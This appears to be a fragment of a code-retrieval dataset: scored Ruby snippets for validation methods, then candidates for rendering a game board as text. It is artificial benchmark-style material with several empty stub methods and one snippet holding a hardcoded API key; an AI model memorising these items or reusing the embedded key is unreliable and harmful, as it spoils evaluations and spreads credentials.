release_type_validator.valid?(@release_type)\n vip_customer_validator = EnumAttributeValidator.new('String', [\"Y\", \"N\"])\n return false unless vip_customer_validator.valid?(@vip_customer)\n return false if @session_id.nil?\n return false if @session_id.to_s.length > 128\n return false if @session_id !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if !@terminal_state.nil? && @terminal_state.to_s.length > 2\n return false if !@terminal_state.nil? && @terminal_state !~ Regexp.new(/^[A-Z]{2}$/)\n return false if !@terminal_city.nil? && @terminal_city.to_s.length > 16\n return false if !@terminal_city.nil? && @terminal_city !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n true\n end", "title": "" }, { "docid": "58df95652936e24de6b41449d77b3b8e", "score": "0.44890308", "text": "def validate(resource, &block); end", "title": "" }, { "docid": "9e8eb8dbb1d3f03d72a9db0bd51a84cd", "score": "0.44734105", "text": "def validate_partition(partition, rd, md)\n\n # Validate based on region data\n r_num_cells_sorted = rd[:r_num_cells].sort\n p_num_cells = Array.new(rd[:r_num_cells].length, 0)\n for i in 0...partition.length do\n p_num_cells[partition[i]] += 1\n end\n p_num_cells_sorted = p_num_cells.sort\n for i in 0...p_num_cells_sorted.length do\n if r_num_cells_sorted[i] < p_num_cells_sorted[i]\n return false\n end\n end\n\n # Validate based on moves data\n xxs = create_r_arrays_from_partition(rd[:r_num_cells], partition)\n ms_per_r = rd[:ms_per_r]\n for r in 0...ms_per_r.length do\n next if ms_per_r[r].empty?\n max_size = rd[:r_num_cells][r]\n for i in 0...ms_per_r[r].length do\n partition_r_containing_m = partition[ms_per_r[r][i]-1]\n actual_size = xxs[partition_r_containing_m].length\n if actual_size > max_size\n return false\n end\n end\n end\n return true\nend", "title": "" }, { "docid": "c3c30c6c5057cbfe26169ad9f0dc315f", "score": "0.44721785", "text": "def valid?(thing); end", "title": "" }, { "docid": "c3c30c6c5057cbfe26169ad9f0dc315f", "score": "0.44721785", "text": "def valid?(thing); end", "title": "" }, { "docid": "645db84a06944b06f5a210893ff79bce", "score": "0.44691694", "text": "def validate!\n raise InvalidIntrospectorError, \"Introspector is not valid.\" unless valid?\n end", "title": "" }, { "docid": "974d437beb45e0f108f8bb53a6cbcb10", "score": "0.4461867", "text": "def _semantics_check(clazz, buffer)\n end", "title": "" }, { "docid": "6f6cdb16f000f86f6d6378a1c72538ee", "score": "0.44611377", "text": "def bus_in_district\n if bus_stop && bus_stop.district_id != district.id\n errors.add(:bus_stop, 'must be in the same district as the student')\n end\n if bus_route && bus_route.district_id != district.id\n errors.add(:bus_route, 'must be in the same district as the student')\n end\n end", "title": "" }, { "docid": "0cf3ee937edbe18e7635da12b4c74505", "score": "0.44463617", "text": "def parse_rsbc(line)\n array = line.split(\" \") \n validation = @validations[array[0]]\n if array[1] == \"FAILURE\" \n array.delete_at(0); \n type = array.delete_at(0)\n value = array.join(\" \")\n validation.add_error(type.to_sym, value, @block-1)\n elsif array[1] == \"SUCCESS\" then validation.plato_success = true;\n elsif array[1] == \"BLOCK\" then @block = array[2].to_i;\n elsif array[1] == \"NUM_BLOCKS\" then validation.init_blocks(array[2].to_i);\n elsif array[1] == \"BLOCK_SEMANTICS\" then validation.add_unknown_semantic(@block);\n elsif array[1] == \"LOCATION\" then validation.location = array[2].to_s + \" \" + array[3].to_s\n else\n # begin \n validation.add_error(array[1].to_sym, array[2] , @block-1)\n # rescue Exception => exc\n # print \"Runtime Error: \" + exc.to_s + \" from: \" + validation.id + \"\\n\"\n # end\n end\n end", "title": "" }, { "docid": "72847b6b6e210bd514ba02b4611155c8", "score": "0.4444788", "text": "def validate(term, subject)\n raise NotImplementedError, \"validate not implemented in #{self.class.name}\"\n end", "title": "" }, { "docid": "f7e4e54e66f919ddcedfbcc499bb7d04", "score": "0.44434196", "text": "def validate(env, intention, attributes)\n # If AdminSet was selected, look for its PermissionTemplate\n template = PermissionTemplate.find_by!(source_id: attributes[:admin_set_id]) if attributes[:admin_set_id].present?\n\n validate_lease(env, intention, template) &&\n validate_release_type(env, intention, template) &&\n validate_visibility(env, attributes, template) &&\n validate_embargo(env, intention, attributes, template)\n end", "title": "" }, { "docid": "39ee0ab052d4cafe9344a81baf03916e", "score": "0.44313595", "text": "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "title": "" }, { "docid": "a3b3687eee8522ef1726c802ea783c54", "score": "0.44229904", "text": "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "title": "" }, { "docid": "f76d274c4cadcca58032349c0b16b019", "score": "0.4421643", "text": "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "title": "" }, { "docid": "68a2bd06ab249a70118d823a699a4d26", "score": "0.44212154", "text": "def validate_data\n inputs = Set.new(node.in_slots.map(&:carrier))\n effs = Set.new(dependencies)\n\n unless inputs.subset?(effs)\n # One or more efficiencies are missing.\n errors.add(:base, error_msg(:efficiencies, inputs, effs))\n end\n\n unless effs.subset?(inputs)\n # One or more input shares are missing.\n errors.add(:base, error_msg(:inputs, effs, inputs))\n end\n end", "title": "" }, { "docid": "fd0d9a7bd8b0177af753e74346a6a3ac", "score": "0.44212043", "text": "def validate_parts!(grid_infos, part_uids)\n validate_parts_presence!(grid_infos, part_uids)\n validate_parts_full_chunks!(grid_infos)\n end", "title": "" }, { "docid": "4c887a6af9d3e832d976f86525da2a59", "score": "0.44183484", "text": "def validate_accession_number(accession_no,seq_type)\n is_valid_accession_no = false\n # https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?db=protein&id=AEE34859.1&api_key=e2eded7b94c28c0734a03b44d4a2d5a15308\n # check NCBI. to determine the accession_no is correct, grap the origin aa sequence and compare\n # documents about ncbi api\n # https://www.ncbi.nlm.nih.gov/books/NBK25500/#_chapter1_Downloading_Document_Summaries_\n # https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?&api_key=db1a6c70014467857721f83996c2c9d4a207&db=protein&id=AEE34859.1\n api_key = \"db1a6c70014467857721f83996c2c9d4a207\"\n ncbi_api = nil\n if seq_type == \"aa\"\n ncbi_api = \"https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?api_key=#{api_key}&db=protein&id=#{accession_no}\"\n elsif seq_type == \"nt\"\n ncbi_api = \"https://eutils.ncbi.nlm.nih.gov/entrez/eutils/epost.fcgi?api_key=#{api_key}&db=nuccore&id=#{accession_no}\"\n end\n\n ncbi_res = open(ncbi_api) # StringIO object\n if ncbi_res.status.include? \"200\"\n doc = Nokogiri::XML(ncbi_res.read)\n if doc.xpath('//ERROR').length == 0\n\n is_valid_accession_no = true\n\n end\n end\n\n return is_valid_accession_no\n\n end", "title": "" }, { "docid": "dce1759ef2416118b8a6f0614159f0a5", "score": "0.44155505", "text": "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "title": "" }, { "docid": "428bdf63d2b31d022a02d06928191571", "score": "0.44129387", "text": "def segment_rule_params\n params.fetch(:segment_rule, {})\n end", "title": "" } ]
0d4b9d75b2f9eab63b24a0c5d97f340a
Nice Text Representation of the entire board
[ { "docid": "8931d6091adf4ada1d65ff01d8ff7fc3", "score": "0.0", "text": "def print_board\n oneCol = 24\n totalChars = (oneCol * BOARD_COLUMNS) - (BOARD_COLUMNS-1)\n puts \"-\" * totalChars\n\n (0...BOARD_ROWS).each do |i|\n print \"|\"\n (0...BOARD_COLUMNS).each do |j|\n printf(\" %-20s |\",@matrix[i][j])\n end\n puts\n end\n\n puts \"-\" * totalChars + \"\\n\\n\"\n end", "title": "" } ]
[ { "docid": "499468d9fff10a0826db2b3aebff0cfb", "score": "0.7759676", "text": "def board_to_string\n line = \"#{\"----\" * @size}\"\n board_as_string = \"#{line}\"\n @board.each do |columns|\n row = \"\\n\"\n columns.each do |element|\n element = \" \" if element.nil? # keeps alignment\n row = \"#{row}| #{element} \"\n end\n board_as_string << \"#{row}|\\n#{line}\"\n end\n return board_as_string\n end", "title": "" }, { "docid": "8eaf012d2b2fe137a4701d8588c0c823", "score": "0.7743779", "text": "def to_s\n combined_board\n .map { |x| x[:content] || 0 }\n .each_slice(27)\n .map { |x| x.each_slice(9).map { |y| y.each_slice(3).map { |z| z.join(' ') }.join(' | ') }.join(\"\\n\") }\n .join(\"\\n------+-------+------\\n\")\n end", "title": "" }, { "docid": "49315acde731f33f3e6a2d24b7b782bc", "score": "0.7684002", "text": "def to_s\n board_2d.map do |row|\n row.map { |letter| '%-3s' % letter }.join(' ')\n end.join(\"\\n\")\n end", "title": "" }, { "docid": "adc5d9c430ff7b216c2581c1fa716f0c", "score": "0.7667476", "text": "def board\n puts '---------------------'.green\n output_string = \"\"\n @board.each_char.with_index do |char,index|\n output_string << char + ' '\n if index % 9 == 2 || index % 9 == 5\n output_string << '| '.green\n elsif index % 9 == 8\n output_string << \"\\n\"\n if (index + 1) % 27 == 0\n output_string << '---------------------'.green + \"\\n\"\n end\n end\n end\n output_string\n end", "title": "" }, { "docid": "604c373ea795c2c2ee67c85ce4b8b06e", "score": "0.7641484", "text": "def text(indent = BOARD_TEXT_INDENT)\n result = \"\"\n\n glyph = {_: '.'} # Replace some symbols when printing for readability\n\n for y in (0 .. 7).to_a.reverse\n result += ' '*indent + y.to_s + ' '\n for x in (0 .. 7)\n result += glyph.fetch(self[ Coord.new(x, y) ]) {|k| k.to_s}\n end\n result += \"\\n\"\n end\n\n result += ' '*indent + ' ' + (0..7).map{|n| n.to_s}.join\n\n return result + \"\\n\\n\"\n end", "title": "" }, { "docid": "c3156b993e7f7dfcd4d561f924e85aa4", "score": "0.7513063", "text": "def display_board\n\t\tputs \" 1 2 3 4 5 6 7 8 \"\n\t\tdisplay_string = \" ---------------------------------\\n\"\n\n\t\t@@ROWS.times do |y|\n\t\t\t@@COLUMNS.times do |x|\n\t\t\t\tdisplay_string << \" #{@@LETTER_MAPPING.key(7-y)} \" if x == 0\n\t\t\t\t@chess_board[x][7-y] == nil ? display_string << \"| \" : display_string << \"| #{@chess_board[x][7-y].unicode} \" \n\t\t\tend\n\t\t\tdisplay_string << \"| #{@@LETTER_MAPPING.key(7-y)}\\n ---------------------------------\\n\"\n\t\tend\n\n\t\tputs display_string.encode('utf-8')\n\t\tputs \" 1 2 3 4 5 6 7 8 \"\n\tend", "title": "" }, { "docid": "095a37e4e78086d2723537300a006642", "score": "0.7456938", "text": "def print_board()\n #int i;\n \n printf(\"\\n8 \")\n 64.times{|i|\n case (@color[i]) \n when EMPTY\n printf(\" .\")\n when LIGHT\n printf(\" %c\", PIECE_CHAR[@piece[i]])\n when DARK\n printf(\" %c\", PIECE_CHAR[@piece[i]].ord + ('a'.ord - 'A'.ord))\n end\n \n if ((i + 1) % 8 == 0 && i != 63)\n printf(\"\\n%d \", 7 - ROW(i));\n end\n }\n printf(\"\\n\\n a b c d e f g h\\n\\n\");\n end", "title": "" }, { "docid": "11993956040a4a9cb6eb63153625e5a5", "score": "0.74287605", "text": "def board\n result = \"\"\n @board.each_with_index do |row, row_index|\n row.each_with_index do |item, index|\n if item.class != Array\n result << \"#{item} \"\n else\n result << '? '\n end\n if (index + 1) % 3 == 0 && index != 8\n result << '| '\n end\n end\n if (row_index + 1) % 3 == 0\n result << \"\\n---------------------\\n\"\n else\n result << \"\\n\"\n end\n end\n result\n end", "title": "" }, { "docid": "3236aaf4beca5c5c80bd80d2cd96104a", "score": "0.74235386", "text": "def board_string\n result = \" 0 1 2\\n\"\n (0...3).each do |row|\n result += \"#{row} \"\n (0...3).each do |col|\n value = maybe_colorize(row, col)\n result += value + '|'\n end\n result = result[0..-2] + \"\\n\"\n result += \" #{'-' * 5}\\n\" unless row == 2 # No horizontal divider after last row.\n end\n result\n end", "title": "" }, { "docid": "4c1effddf567f2abe0f8e6ec3d711277", "score": "0.7416951", "text": "def to_s \n ret = \"\"\n spacing = \"\"\n @board.each do |row|\n row.each { |cell| ret += \"#{cell}\" + spacing }\n ret += \"\\n\"\n end\n ret\n end", "title": "" }, { "docid": "21877ff59303791672de865009d8ae92", "score": "0.7401054", "text": "def to_s\n print_board { |word| word }\n end", "title": "" }, { "docid": "3f64690b7f67380cacaaa7dfc81ba4aa", "score": "0.7370275", "text": "def visualize\n delim = \"-------------\\n\"\n s = delim\n @board.each do |row|\n s = row.reduce(s + \"|\") { |s, space| \"#{s} #{space.nil? ? \" \" : space} |\" }\n s = \"#{s}\\n#{delim}\"\n end\n puts s\n end", "title": "" }, { "docid": "10cc3c3311a3351113d3061bef22144e", "score": "0.73430455", "text": "def pretty_board\n @board.layout.map{|row|\n row.map{|cell|\n case cell\n when :white\n 'w'\n when :black\n 'b'\n when :empty\n '.'\n end\n }.join(\" \")\n }.join(\"\\n\")\n end", "title": "" }, { "docid": "7a60ba0b8b99823d6116bce3fbc2d20f", "score": "0.73379", "text": "def to_s #gives us pretty ouput\n @board.collect {|row| row.join(\"\")}.join(\"\\n\")\n end", "title": "" }, { "docid": "10abc41d9ea984bc3adb1f5488ab7489", "score": "0.73223114", "text": "def board\n rows = String.new\n grid.horizontal.each do |line|\n line.each { |val| rows += val.encode('utf-8') }\n rows += \"\\n\"\n end\n rows.reverse + \"\\n 1 2 3 4 5 6 7\"\n end", "title": "" }, { "docid": "2d60b43fc94144dec6c554d8da0032bd", "score": "0.7294335", "text": "def show_board\n\t\t\ttop_left, top, top_separator, top_right, side, left_plus, right_plus, plus, bottom_left, bottom_separator, bottom_right = \"\\u250c\", \"\\u2500\", \"\\u252c\", \"\\u2510\", \"\\u2502\", \"\\u251c\", \"\\u2524\", \"\\u253c\", \"\\u2514\", \"\\u2534\", \"\\u2518\"\n\n\t\t\ttop_row = top_left + (top*3 + top_separator)*7 + top*3 + top_right\n\t\t\tspacer_row = left_plus + (top*3 + plus)*7 + top*3 + right_plus\n\t\t\tbottom_row = bottom_left + (top*3 + bottom_separator)*7 + top*3 + bottom_right\n\n\t\t\tbody_rows = []\n\t\t\t8.times do |y|\n\t\t\t\tbody_rows[y] = []\n\t\t\t\tbody_rows[y] = \"#{y + 1} \" + side + \n\t\t\t\t\t(@board[y][0].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][1].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][2].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][3].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][4].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][5].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][6].chess_piece).to_s.center(3) + side +\n\t\t\t\t\t(@board[y][7].chess_piece).to_s.center(3) + side \n\t\t\tend\n\n\t\t\t# Return final board\n\t\t\t[\" \", \" a b c d e f g h\", \" \" + top_row, body_rows[7], \" \" + spacer_row, body_rows[6], \" \" + spacer_row, body_rows[5], \" \" + spacer_row, body_rows[4], \" \" + spacer_row, body_rows[3], \" \" + spacer_row, body_rows[2], \" \" + spacer_row, body_rows[1], \" \" + spacer_row, body_rows[0], \" \" + bottom_row ]\n\t\tend", "title": "" }, { "docid": "90711bc7068b5e6128d5aa585e8a4d45", "score": "0.72839886", "text": "def to_s\n cad = ''\n @tiles.each_index { |i|\n cad += @tiles[i] + ' '\n cad += \"\\n\" if i%@w==@w-1\n }\n return cad\n end", "title": "" }, { "docid": "af0c8f114c228bfa808c6741745e686e", "score": "0.72763747", "text": "def to_s\n board_string = \"=================\\n\"\n (0..5).reverse_each do |row|\n board_string += '| '\n (0..6).each do |column|\n board_string += \"#{@board[column][row]} \"\n end\n board_string += \"|\\n\"\n end\n board_string += \"=================\\n\"\n board_string += \" 1 2 3 4 5 6 7\\n\"\n\n board_string\n end", "title": "" }, { "docid": "b78414531488c0663de642b714cc055d", "score": "0.7271627", "text": "def board_visual\n\n puts \"\\n#{replace_digit(@board_array, 0)} | #{replace_digit(@board_array, 1)} | #{replace_digit(@board_array, 2)}\\n--+---+--\\n#{replace_digit(@board_array, 3)} | #{replace_digit(@board_array, 4)} | #{replace_digit(@board_array, 5)} \\n--+---+--\\n#{replace_digit(@board_array, 6)} | #{replace_digit(@board_array, 7)} | #{replace_digit(@board_array, 8)}\"\n\n end", "title": "" }, { "docid": "4e2acfc807d4387c0d438f33431886dd", "score": "0.7266091", "text": "def formatted_board\n background = [40,40,40] # Background color for table\n board_as_text = \"\\nCurrent Guesses and Feedback History:\\n\"\n board_as_text << \" \" * 46 << \"\\# Correct \\# Correct\\n\"\n board_as_text << \"Guess \\# Slot 1 Slot 2 Slot 3 Slot 4 \"\\\n \"Slot Color\\n\"\n board_as_text << \"-\" * 67 << \"\\n\"\n\n @guesses.each_with_index do |guess, i|\n if i < 9\n board_as_text << Paint[\" #{i + 1} \", \"white\", background]\n else\n board_as_text << Paint[\" #{i + 1} \", \"white\", background]\n end\n guess.colors.each do |color|\n board_as_text << Paint[\" #{color.to_s} \", \\\n @colorized[color], background]\n end\n @feedback[i].each do |clue, num| \n board_as_text << Paint[\" #{num} \", \"white\", background]\n end\n board_as_text << \"\\n\"\n end\n\n board_as_text << \" \\n\"\n end", "title": "" }, { "docid": "b9a56da062946901b3d70d1d6810b7d0", "score": "0.7263459", "text": "def to_s\n str = ''\n @board.each do |row|\n row.each do |cell|\n str += cell.to_s + ' '\n end\n str += \"\\n\"\n end\n str\n end", "title": "" }, { "docid": "00a7b953862c44b9814f501370298171", "score": "0.7258674", "text": "def to_s\n @board.each_with_index.map do |row, i|\n row.map do |col|\n fg = 32\n bg = col % 2 ? 107 : 108\n \"x\".colorize fg, bg\n # red on black 31/107\n # red on white 31/108\n # blue on black 34/107\n # blue on white 34/108\n end.join\n end.join \"\\n\"\n end", "title": "" }, { "docid": "96ab9706a0876f57826d4b19a874010e", "score": "0.7253356", "text": "def to_s\n out = \"\"\n board.each_with_index do |row, row_num|\n row.each_with_index do |val, col_num|\n out << \" #{val} \"\n out << \"|\" if col_num == 2 || col_num == 5\n end\n out << \"\\n\"\n out << ('-' * 29) << \"\\n\" if row_num == 2 || row_num == 5\n end\n out\n end", "title": "" }, { "docid": "b63b8608836a8904ca30edb5b889c60b", "score": "0.7250176", "text": "def to_s\n @game_board.each_slice(4).each do |line|\n puts line.join(' ')\n end\n end", "title": "" }, { "docid": "0aff713072dbda7842386f8de92b0825", "score": "0.7242816", "text": "def to_s()\n s = \"\\n\"\n for r in @board\n for c in r\n case c\n when 0\n s << \"- \".blue\n when 1\n s << \"#{c} \".cyan\n when 2\n s << \"#{c} \".yellow\n end\n end\n s << \"\\n\"\n end\n s # s is returned\n end", "title": "" }, { "docid": "0c3f784d6f786c106e8d947459cc4ea7", "score": "0.72374624", "text": "def text\n rows = screen.Rows\n columns = screen.Cols\n result = ''\n rows.times { |row| result += \"#{screen.GetString(row+1, 1, columns)}\\\\n\" }\n result\n end", "title": "" }, { "docid": "5dbff7f014a460b54e0837b571e004ee", "score": "0.72364324", "text": "def to_s\n if @formatted_board.join.length > 81\n array_to_format = @formatted_board.map { |row| row.map { |cell| cell.length > 1 ? \"0\" : cell }}\n else\n array_to_format = @formatted_board.flatten\n end\n solution_string = array_to_format.join.gsub(/(\\w{3})\\D{0,1}(\\w{3})\\D{0,1}(\\w{3})/, ' \\1 | \\2 | \\3 '+\"\\n\")\n solution_string = \"----------------\\n\" + solution_string + \"----------------\"\n solution_string.insert(70, \"\\n----------------\")\n solution_string.insert(140, \"\\n----------------\")\n end", "title": "" }, { "docid": "0203bf9d59134a955b5dd8eaa8f65f8f", "score": "0.7229186", "text": "def to_s\n board_string = \"\\n\"\n # Need to print top -> down\n max_y.times do |y|\n inverse_y = max_y - 1 - y\n max_x.times do |x|\n unit = map[x][inverse_y]\n if unit.class == String\n spaced_unit = ' ' + unit\n color_unit = disco_floor(x, y, spaced_unit)\n elsif unit.class == Player\n if emoji?(unit.symbol)\n color_unit = unit.symbol\n else\n color_unit = ' ' + unit.symbol\n end\n else\n color_unit = unit_color(unit)\n color_unit = ' ' + color_unit unless emoji?(color_unit)\n end\n board_string += color_unit\n end\n board_string += \"\\n\"\n end\n board_string += \"\\n\"\n board_string\n end", "title": "" }, { "docid": "f7ccd5e2ec3d30614285afc48101c216", "score": "0.72275037", "text": "def render_board\n board = \"\"\n @board.each_with_index do |line, index|\n board << render_line(line) << \"\\n\"\n board << \"═══╬═══╬═══\\n\" if index < 2\n end\n board\n end", "title": "" }, { "docid": "54e51ecc47733e7c702b4d5944ca3b2c", "score": "0.72155535", "text": "def to_s\n output = [\"┏━━━┯━━━┯━━━┳━━━┯━━━┯━━━┳━━━┯━━━┯━━━┓\"]\n 0.upto(8) do |row|\n string = \"\"\n 0.upto(8) do |col|\n string += (col % 3 == 0 ? \"┃\" : \"│\") << @board[row * 9 + col].center(3)\n end\n string += \"┃\"\n output << string\n output << (row % 3 == 2 ? \"┣━━━┿━━━┿━━━╋━━━┿━━━┿━━━╋━━━┿━━━┿━━━┫\" :\n \"┠───┼───┼───╂───┼───┼───╂───┼───┼───┨\")\n end\n output.last.replace(\"┗━━━┷━━━┷━━━┻━━━┷━━━┷━━━┻━━━┷━━━┷━━━┛\")\n output.join(\"\\n\")\n end", "title": "" }, { "docid": "13e4e5c3f797ea07c9da2cf9361bb322", "score": "0.7215384", "text": "def to_s\n display_board = \"\"\n @board.each do |cell|\n cell.each do |number|\n display_board << \"#{number}\".ljust(3)\n end\n display_board << \"\\n\"\n end\n print display_board\n end", "title": "" }, { "docid": "13e4e5c3f797ea07c9da2cf9361bb322", "score": "0.7215384", "text": "def to_s\n display_board = \"\"\n @board.each do |cell|\n cell.each do |number|\n display_board << \"#{number}\".ljust(3)\n end\n display_board << \"\\n\"\n end\n print display_board\n end", "title": "" }, { "docid": "eda67d64cd100bf091c9d0bbac6de320", "score": "0.7200851", "text": "def show_board\n b = board_string.clone\n b.split(//).each_with_index do |num, index|\n print \"#{num} \"\n print \"| \" if (index+1) % 3 == 0 && index != 0 && (index+1) % 9 != 0\n print \"\\n\" if (index+1) % 9 == 0 && index != 0\n print \"---------------------\\n\" if (index+1) % 27 == 0 && index != 0 && index != 80\n end\n end", "title": "" }, { "docid": "09ad661df802bf2a07e3486774909860", "score": "0.7177562", "text": "def to_s\n #{}\"omg what is this? \\ntry printing me.\"\n if @empty_boardArray.length == 16\n return @empty_boardArray.join(\" \").upcase.scan(/.{8}|.+/).join(\"\\n\")\n else\n return @empty_boardArray.join(\"\\n\")\n end\n\n end", "title": "" }, { "docid": "09ad661df802bf2a07e3486774909860", "score": "0.7177562", "text": "def to_s\n #{}\"omg what is this? \\ntry printing me.\"\n if @empty_boardArray.length == 16\n return @empty_boardArray.join(\" \").upcase.scan(/.{8}|.+/).join(\"\\n\")\n else\n return @empty_boardArray.join(\"\\n\")\n end\n\n end", "title": "" }, { "docid": "0047d6121a41503bbe7acb4b4486078f", "score": "0.717189", "text": "def to_s\n @board.each do |row|\n row.each do |char|\n char = \"Qu\" if char == \"Q\"\n print \"#{char}\".ljust(3)\n end ; puts\n end\n end", "title": "" }, { "docid": "c43c3769d78d98724910ea402999f3d8", "score": "0.71623284", "text": "def to_s\n for i in 0..8\n p @board.join(\"\").to_s.slice(i * 9, 9)\n end\n end", "title": "" }, { "docid": "866c0c2761dec011a97a0a83e7949d25", "score": "0.7159832", "text": "def to_s\n\t @board.map {|row| row.join(\" \")}.join(\"\\n\")\n\tend", "title": "" }, { "docid": "480ea6e533dc07911290843154f2532c", "score": "0.71591425", "text": "def to_s\n p @board.join('')\n end", "title": "" }, { "docid": "5fd437b39febbb7d1f1ed614314651af", "score": "0.71546125", "text": "def to_s\n output = \"\"\n board = @board.dup\n 9.times do\n 9.times do\n output << board.shift\n output << \" \"\n end\n output << \"\\n\"\n end\n output\n end", "title": "" }, { "docid": "0fb6c70c6835af08c48893061648b834", "score": "0.7152311", "text": "def draw_board(board)\n rows = (0..9).to_a\n board_values = board.board.values\n board_rows = rows.map{ |x| board_values.drop(x*10).take 10 }\n full_board = BOARD_TOP + ROW_SEPARATOR\n board_rows.map!{ |x| x.map!{ |y| ' ' + BOARD_ENCODER[y] + ' |'}.reduce(:+)} \n (0..8).to_a.each { |x| full_board = full_board + (x+1).to_s + ' |' + board_rows[x] + ROW_SEPARATOR}\n full_board = full_board + 10.to_s + '|' + board_rows[9] + ROW_SEPARATOR\n puts full_board.scan(/.{43}/).join(\"\\n\")\n end", "title": "" }, { "docid": "8723442e452e84e588fdc614f3e9e514", "score": "0.71464", "text": "def board_to_s board, n = board.size\n b = empty_board n\n board.each_with_index do |x, i|\n b[i][x-1] = 'Q'\n end\n b.join \"\\n\"\nend", "title": "" }, { "docid": "1f5da19de9cf3c5edfc2bc1037729151", "score": "0.714573", "text": "def display_board\n puts @board_header\n puts \" 1 2 3 4 5 6 7 8 9 10\", \"\\n\"\n n = 0\n letters = \"abcdefghij\"\n @board.each do |row|\n printable = \"#{letters[n]} \"\n m = 0\n row.each do |col|\n printable << (\" \" +\n # the following prints the symbol with highlight if it's new\n highlight_print(col:col, board:@board, n_and_m:[n,m])) # in misc.rb\n m += 1\n end\n print \" #{printable}\\n\\n\" if n < 9\n print \" #{printable}\\n\" if n == 9\n n += 1\n end\n print \"\\n\"\n end", "title": "" }, { "docid": "5d5b7a8272ff6b25a53379203a24a999", "score": "0.71446866", "text": "def to_s\n content = \"\"\n @board.each do |row|\n row.each do |col|\n content += col.to_s + \" \"\n end\n content = content.strip\n content += \"\\n\"\n end\n return content.chomp(\"\\n\")\n end", "title": "" }, { "docid": "8306f81ebb70d7f8df49c1d1dc404571", "score": "0.71421486", "text": "def display\n str = String.new\n str << dead_pieces_str(:White)\n str << ' '\n str << Board::COLUMN_TO_INDEX.keys.map(&:to_s).join(' ') # print columns\n str << \"\\n\"\n @grid.each_with_index do |row, i|\n str << \"#{Board::SIDE_LENGTH - i} \" # print current row number\n str << row.map(&:display).join(' ') # print row of tiles\n str << \" #{Board::SIDE_LENGTH - i}\" # print current row number\n str << \"\\n\"\n end\n str << ' '\n str << Board::COLUMN_TO_INDEX.keys.map(&:to_s).join(' ') # print columns\n str << \"\\n\"\n str << dead_pieces_str(:Black)\n str << \"Last move: #{@last_move}\\n\" unless @last_move.nil?\n puts str\n end", "title": "" }, { "docid": "124f0bb49c8cc92fd136e32b0e295602", "score": "0.7142109", "text": "def render\n labels = (0...@col_num).map { |n| n.to_s.center(4) }.join(\"\")\n puts \" #{labels}\"\n puts \" #{ \"-\" * (@col_num * 4 - 1) }\"\n\n rows = @board.grid.map.with_index do |row, i|\n \"#{i.to_s.rjust(2)} |#{row.map(&:to_s).join(\"|\")}|\\n\" +\n \" #{ \"-\" * (@col_num * 4 - 1) }\"\n end\n puts rows.join(\"\\n\")\n end", "title": "" }, { "docid": "1a941bddb0ed9e7f408bd132ddbef5e9", "score": "0.71384037", "text": "def to_s()\n str = \"\\n \"\n for i in (0...@size)\n str << (i+1).to_s + ' '\n end\n str << \"\\n\";\n for i in (0...@size)\n str << (i+1).to_s + ' ';\n str << @board[i].join(' ') + \"\\n\";\n end\n return str;\n end", "title": "" }, { "docid": "f6db9641b365c7e115c6f93d25afb063", "score": "0.71380794", "text": "def board_to_string (board)\n board.map { |line| line.join \" \" }.join \"\\n\"\n end", "title": "" }, { "docid": "aef9ee20b03e8b516ea90157c42c10f9", "score": "0.7129057", "text": "def board\n @board_horizontal.flatten.join(\"\")\n end", "title": "" }, { "docid": "7a53079be6ffe660037ce30ec54404c2", "score": "0.71278477", "text": "def print_board\n value = ''\n\n (1..@lines).each do |line|\n (1..@cols).each do |col|\n value += set_cell_value(line, col).to_s\n value += \"\\n\" if col == @cols\n end\n end\n\n value\n end", "title": "" }, { "docid": "eda060fdc2b48de4e2cf1423d2ac8a89", "score": "0.7123795", "text": "def to_s # The function display solved puzzles in the screen.\n board = self.board.join.to_s # It convert the board to a string.\n i = 9\n while i < board.length # Using a loop the board is devided in to 9 lines.\n board.insert(i, \"\\n\")\n i += 10\n end\n i = 1\n while i < board.length # This loop create 2 spaces between each number.\n board.insert(i, \" \")\n i += 3\n end\n board.insert(0, \" \")\n board # Finally The solved puzzle is ready to print.\n end", "title": "" }, { "docid": "f2dcd4a3355f79a69a883c864c626bbd", "score": "0.7121437", "text": "def to_s\n board_str = \"\"\n square_index = 0\n new_line_counter = 1\n @array.each_with_index do |v, i|\n board_str << v.to_s #if (0..2).include?(i)\n if new_line_counter % 9 == 0\n board_str << \"\\n\"\n elsif new_line_counter % 3 == 0\n board_str << \" \"\n else\n board_str << \" \"\n end\n new_line_counter += 1\n end\n if @array.include?(0) == true\n board_str\n else\n self.fancy_display\n end\n end", "title": "" }, { "docid": "8e2e9b4fed15ec5b4912bacb0e0df938", "score": "0.71199095", "text": "def display\n @game_board_string = ''\n @game_board.each {|character| @game_board_string += character+\" \"}\n @game_board_string\n end", "title": "" }, { "docid": 